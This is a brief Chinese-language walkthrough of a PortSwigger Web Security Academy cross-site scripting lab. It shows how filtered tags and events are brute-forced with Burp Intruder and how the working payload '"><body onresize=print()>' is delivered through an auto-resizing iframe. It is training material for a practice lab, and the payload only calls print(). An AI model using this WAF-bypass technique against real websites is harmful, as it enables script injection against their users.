# Cross-site scripting Lab14 本題是過濾大部分 XSS 標籤與事件的環境下,繞過 WAF 實現自動觸發 print() 的 XSS。 一樣先進入網站。 ![image](https://hackmd.io/_uploads/Hk71u_GSeg.png) 先丟個 XSS 攻擊語法上去,搜尋的目的不是為了嘗試觸發,而是要擷取請求,並丟到 Intruder 上。 ![image](https://hackmd.io/_uploads/H1W_OOGSgl.png) 這裡我們要測試有哪個標籤是沒有被過濾的,所以也利用官方給的列表去爆破。 ![image](https://hackmd.io/_uploads/H1dkKdGBel.png) ![image](https://hackmd.io/_uploads/SybZYOzrgg.png) 這裡抓到 body 跟 custom tags 是可以的。 ![image](https://hackmd.io/_uploads/ByI4tOfrxl.png) 接著是看那些事件沒有被過濾掉的。 ![image](https://hackmd.io/_uploads/By9M5OfBgl.png) 這裡發現 `onresize` 沒被擋。 ![image](https://hackmd.io/_uploads/BkRZ5dzrll.png) 所以我們結合起來: ``` "><body onresize=print()> ``` 這段會因為 `onresize` 是無互動觸發就能執行,解法可以寫進 iframe: ``` <iframe src="https://0ace006d03a9e26d80a9f36d00110049.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload="this.style.width='100px'"> </iframe> ``` ![image](https://hackmd.io/_uploads/HJdcqdfHge.png) ![image](https://hackmd.io/_uploads/BJGs9uzBgg.png) ---